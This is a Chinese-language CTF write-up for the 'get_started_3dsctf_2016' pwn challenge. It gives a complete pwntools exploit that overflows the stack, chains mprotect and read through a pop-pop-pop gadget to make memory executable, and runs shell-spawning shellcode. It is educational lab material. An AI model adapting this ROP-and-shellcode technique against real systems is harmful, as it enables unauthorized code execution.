get_started_3dsctf_2016
这道题有两种做法,一种是直接覆盖返回地址到flag函数然后再跳转到exit(0)正常退出拿到flag,这里不写,只讲通过修改栈权限的方法
checksec一下:
随机化和canary都没开,比较温柔
打开ida随便看看,发现关键函数:
查询一下这个函数的作用
int mprotect(void *addr, size_t len, int prot);
//addr 内存启始地址
//len 修改内存的长度
//prot 内存的权限 # 0x7 == 可读可写可执行
既然有这个函数,那就可以通过修改栈权限为rwx来写入shellcode并执行拿到shell
ctrl+s调出ida程序的段表,修改选中的段为rwx
肯定有人疑问了为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
改bss段的话效果如图,可以看到没有成功修改内存权限,因为起始地址不对,所以这边起始地址是0x80EB000
成功的修改:
失败的修改(即修改bss段)
修改权限部分的exp
mprotect函数需要三个参数,我们需要找一个连续pop3个的寄存器,ROPgadget寻找一下
思考一下为什么需要寄存器呢?
使用寄存器的目的并不是用来传参,而是来调整esp的位置使其能够指向正确的返回地址
ROPgadget --binary pwn --only 'pop|ret' | grep 'pop'
选中的这个指令就很不错
mprotect_addr = elf.symbols['mprotect']
memory_addr = 0x080EB000
# memory_addr = 0x80EBF80 #测试修改bss段
memory_size = 0x1000
memory_prot = 0x7 #0x7的意思是可读可写可执行
pop_ebx_esi_ebp = 0x0804f460 #寻找到的寄存器
#思考一下32位程序的传参顺序
payload1 = b'A'*0x38
payload1 += p32(mprotect_addr)
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(memory_addr)
payload1 += p32(memory_size)
payload1 += p32(memory_prot)
成功修改栈上的权限后下一步读入shellcode,读入的话就用read函数吧
再看看read函数原型
ssize_t read(int fd, void *buf, size_t count);
//fd 设为0时就可以从输入端读取内容
//buf 设为我们想要执行的内存地址
//size 适当大小就可以
//函数说明:read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中. 若参数count 为0, 则read()不会有作用并返回0. 返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动.
//当有错误发生时则返回-1, 错误代码存入errno 中, 而文件读写位置则无法预期
同样需要三个寄存器传参,那么还是借用刚刚那个寄存器
shellcode可以直接用pwntools的语句自动生成
payload2 = asm(shellcraft.sh())
读入部分的exp
read_addr = elf.symbols['read']
pop_ebx_esi_ebp = 0x0804f460
payload1 += p32(read_addr) #注意这里接mprotect函数,将其返回地址设为read函数调用
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(0) #从输入端读取内容
payload1 += p32(memory_addr) #设为我们想要执行的内存地址(你想写到哪儿?)
payload1 += p32(0xfff) #读入的大小
payload1 += p32(memory_addr) #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,接下来我们只要传入shellcode即可
payload2 = asm(shellcraft.sh())
r.sendline(payload2)
完整exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn')
# r = remote('node4.buuoj.cn', 29135)
r = process('./pwn')
gdb.attach(r)
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
memory_addr = 0x080EB000
# memory_addr = 0x80EBF80 #测试修改bss段
memory_size = 0x1000
memory_prot = 0x7
pop_ebx_esi_ebp = 0x0804f460
main_addr = 0x08048A20
payload1 = b'A'*0x38
payload1 += p32(mprotect_addr)
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(memory_addr)
payload1 += p32(memory_size)
payload1 += p32(memory_prot)
payload1 += p32(read_addr)
payload1 += p32(pop_ebx_esi_ebp)
payload1 += p32(0)
payload1 += p32(memory_addr)
payload1 += p32(0xfff)
payload1 += p32(memory_addr)
r.sendline(payload1)
payload2 = asm(shellcraft.sh())
r.sendline(payload2)
r.interactive()